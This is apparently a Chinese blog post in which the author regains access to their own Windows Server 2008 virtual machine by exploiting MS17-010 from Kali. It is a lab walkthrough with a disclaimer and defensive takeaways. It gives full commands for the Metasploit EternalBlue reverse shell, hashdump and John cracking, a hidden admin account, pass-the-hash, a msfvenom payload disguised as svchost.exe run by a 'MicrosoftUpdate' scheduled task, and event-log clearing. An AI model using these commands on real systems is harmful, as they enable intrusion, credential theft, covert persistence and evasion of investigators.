【安防】Windows Server 2008虚拟机忘记密码的一时兴起

0x01 声明

本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担。

0x02 背景

很长时间没启动我的winser2008了,想着看看这个服务器系统本地安全策略与我本地win10系统安全策略的区别。我测试用的虚拟机密码都是弱口令(这种习惯不好,千万不要带到企业里去哈),但是虚拟机启动后,尝试了几遍密码,都没登上去,想重设密码还没配置密码重置盘,就给我整郁闷了。又不想重装一个新的虚拟机,然后我突然想到,这种win2008比较老的操作系统存在许多漏洞没有打补丁,而且说不定我之前使用的时候还放开了某些端口,这不,开启我的网安菜白修改密码之路,走起!

0x03 信息收集

常规思路,先做信息收集,扫描下win2008的ip地址及开放端口服务。这时候就论到我的另外一台虚拟机---kali出场了。

1、确定目标对象的IP

(1)使用nmap扫描整个网段

bash 复制代码
nmap -sn 192.168.42.0/24

从MAC地址大概就可以分辨出win2008是哪个IP地址

MAC地址 00:0C:29开头 是标准的VMware虚拟机MAC前缀

其他IP的MAC都是 00:50:56 开头,这是VMware虚拟网卡的MAC

排除掉Kali自身的ip,剩下那个就是win2008的IP地址。

(2)"虚拟机-设置"菜单栏查询

当然还可以通过"虚拟机-设置-网络适配器-高级"界面路径直接查看MAC地址,进一步确定IP

(3)wireshark抓包分析

除了使用nmap扫描整个网段,也可以使用wireshark进行抓包分析

虚拟机配置的nat模式,打开wireshark并启动win2008虚拟机,对VMnet8虚拟网卡进行抓包

从抓包结果来看,VMware_6B:CB:0B发送三个免费ARP用于检测192.168.42.145是否有其他主机使用,随后开始使用这个IP地址进行网络活动。

2、针对指定IP去扫描已开放的端口

bash 复制代码
nmap -p 1-65535 -T4 192.168.42.145

已知开放的端口:

135/tcp -MSRPC端点映射器

445/tcp -SMB文件共享服务

49154-49156/tcp -动态RPC端口

3、对已开放的端口检测存在的漏洞

(1)RPC服务枚举和漏洞检测

bash 复制代码
# 使用rpcclient枚举RPC服务
rpcclient -U "" -N 192.168.42.145 -c "srvinfo;enumdomusers;lsaquery"

# 使用Impacket工具套件
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/examples

# 枚举RPC端点
python rpcdump.py 192.168.42.145

# 尝试空会话连接
python samrdump.py 192.168.42.145
python lookupsid.py 192.168.42.145

遗憾的是:目标不存在RPC空会话匿名漏洞,核心信息枚举失败;

(2)SMB漏洞综合检测

bash 复制代码
# 使用nmap全面SMB漏洞扫描
nmap --script smb-vuln* -p445 192.168.42.145

检测到存在永恒之蓝漏洞:ms17-010

该漏洞可直接通过SMB服务在目标系统上执行任意代码,无需用户名密码,并可获得SYSTEM权限

0x04 漏洞利用

1、Metasploit框架启动

bash 复制代码
#启动metasploit
msfconsole

#搜索相关模块
search ms17-010

#使用永恒之蓝利用模块
use exploit/windows/smb/ms17_010_eternalblue

#设置目标
set RHOSTS 192.168.42.145

#设置payload(推荐使用Meterpreter)
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.42.128
set LPORT 4444

#执行攻击
exploit

2、payload抓包分析

使用wireshark分析攻击流量,可观察到明显的payload特征

MSF向winserver发送构造的恶意数据包,利用MS17-010漏洞在目标主机上获得代码执行权限。

漏洞利用成功后,MSF配置的payload在目标主机上运行,让目标主机反向连接到渗透机4444端口,即反弹shell。连接建立后,渗透机器则可以向目标主机端口(49159)发送指令和数据。

3、修改管理员密码

shell进入window系统控制终端,使用ner user命令修改管理员登录口令,实现修改密码的目的

(执行命令若存在乱码,可使用chcp 65001 => UTF-8)

bash 复制代码
shell
net user Administrator Password123!

4、查询网络状态

使用修改后的密码登录上windows server 2008,查询网络状态,发现kali与win2008的TCP连接

########################扩展#######################

5、John破解

如果账号密码非强口令则可以使用工具如John the Rippper或Hashcat 破解哈希获得明文密码

(1)通过hashdump获取win2008的登录用户及密码哈希值

格式=>用户名:RID:LM哈希:NTLM哈希:::

bash 复制代码
hashdump
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
YourUser:1001:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C:::

msf环境下运行hashdump时,它会从SAM(安全账户管理器)数据库中提取 所有本地用户的用户名、对应的密码哈希(NTLM/LM哈希)、用户SID(安全标识符)、其他账户等信息。

(2)使用John the Ripper工具破解

bash 复制代码
# 使用规则攻击(变形字典中的单词)
john --format=NT --wordlist=/usr/share/john/password.lst --rules hashes.txt

#显示已破解的密码
john --show --format=NT hashes.txt

由于测试的虚拟机是弱口令,使用john再配上变形规则比较容易命中。

(实际上最后测试的结果是我虚拟机为强口令,使用john破解失败,让我记起密码,有点搞笑)

0x05 维持权限

1、创建隐藏管理员账户

bash 复制代码
#创建用户,用户名为类似系统用户,比如$符号结尾
net user apple$ Password123! /add

#将用户添加到管理员组
net localgroup administrators apple$ /add

#并使用reg命令修改注册表将其隐藏
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -v "apple$" /t REG_DWORD /d 0 /f

这样在系统登录界面以及控制面板用户管理界面都不会展示,但在"计算机管理-本地用户和组"菜单栏还是能够看得到。(实际渗透工作中创建账户属于高噪音操作,风险较高)

2、哈希传递利用

bash 复制代码
# 直接使用哈希进行身份验证,无需破解密码
meterpreter > use exploit/windows/smb/psexec
msf6 > set SMBUser Administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
msf6 > set RHOSTS 192.168.1.100
msf6 > exploit

经过测试,将登录用户名的密码进行修改,哈希也随之变更,旧哈希则无法建立连接。

3、持久化访问

(1)生成 payload

bash 复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.42.128 LPORT=4444 -a x86 --platform windows -f exe -o /root/svchost.exe

(2)上传到目标主机

bash 复制代码
# 在MSF中
meterpreter > upload /root/svchost.exe C:\\Windows\\Temp\\svchost.exe
meterpreter > shell
# 创建计划任务
C:\> schtasks /create /tn "MicrosoftUpdate" /tr "C:\Windows\Temp\svchost.exe" /sc onstart /delay 0001:30 /ru "SYSTEM" /f
# 立即测试
C:\> schtasks /run /tn "MicrosoftUpdate"

(3)设置监听器

bash 复制代码
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.42.128
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > set exitonsession false
msf6 exploit(multi/handler) > exploit -j

0x06 日志清理

在实际安防对抗中,最后一步就是操作记录清理,体现渗透的完整性。

bash 复制代码
# 检查是否有相关进程在运行
meterpreter > ps | grep -i svchost

# 发现有异常的svchost进程,结束它
meterpreter > kill 1552

# 删除上传payload文件
meterpreter > rm C:\\Windows\\Temp\\svchost.exe

# 删除创建的计划任务
meterpreter > shell
C:\> schtasks /delete /tn "MicrosoftUpdate" /f
C:\> exit

# 清除操作痕迹
meterpreter > clearev

0x07 总结

这次利用老系统未打补丁的漏洞修改密码的操作也是耗时比较久,避免没有过渗透经验,专有的名词不知道啥意思,还是需要去科普。其实只是修改密码的话很简单,但是我想这当作一个小小的渗透测试,按照常规的流程应该如何去操作,培训这方面的思路,不然也不会有后面的权限维持和日志清理还有john工具的利用。当然经过这次的测试,对安全防范意识也有进一步增强,比如系统及时升级打补丁、将不常用的端口关闭、账号密码使用强口令并定期更换、用户权限最小化分配等等。虽然说都是老生常谈,但是在实际攻防中,这些确实都是比较重视的地方,还是不能掉以轻心,最好实践在日常生活中,就像我最后发现我的测试虚拟机竟然是个强口令一样,哈哈。

最后声明下,鉴于渗透的安全合规性,本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担。

相关推荐
交换机路由器测试之路39 分钟前
什么是以太网
运维·网络·网络协议·路由器·以太网·交换机
SelectDB技术团队40 分钟前
云上数据安全新范式:Apache Doris IAM Assume Role 解锁无密钥访问 AWS S3 数据
服务器·前端·安全
_dindong1 小时前
Linux网络编程:I/O多路转接之epoll
linux·服务器·网络·sql·mysql
Safe network access1 小时前
IDA9.1+TRAE完成自动化逆向
网络·安全·逆向·ctf
幸福右手牵1 小时前
交换机的层数的含义(二层、三层)
linux·服务器·网络·智能路由器
黑客思维者1 小时前
嵌入式操作系统安全加固详细设计指南
网络·安全·嵌入式设备·安全评估·linux 安全加固
鲸沉梦落1 小时前
网络原理-协议
网络
山峰哥1 小时前
EcMenu:解锁 Windows 右键菜单的终极自由
windows·性能优化·软件工程·鼠标右键菜单工具
WF_YL1 小时前
外网访问内网/局域网目标文件
网络·智能路由器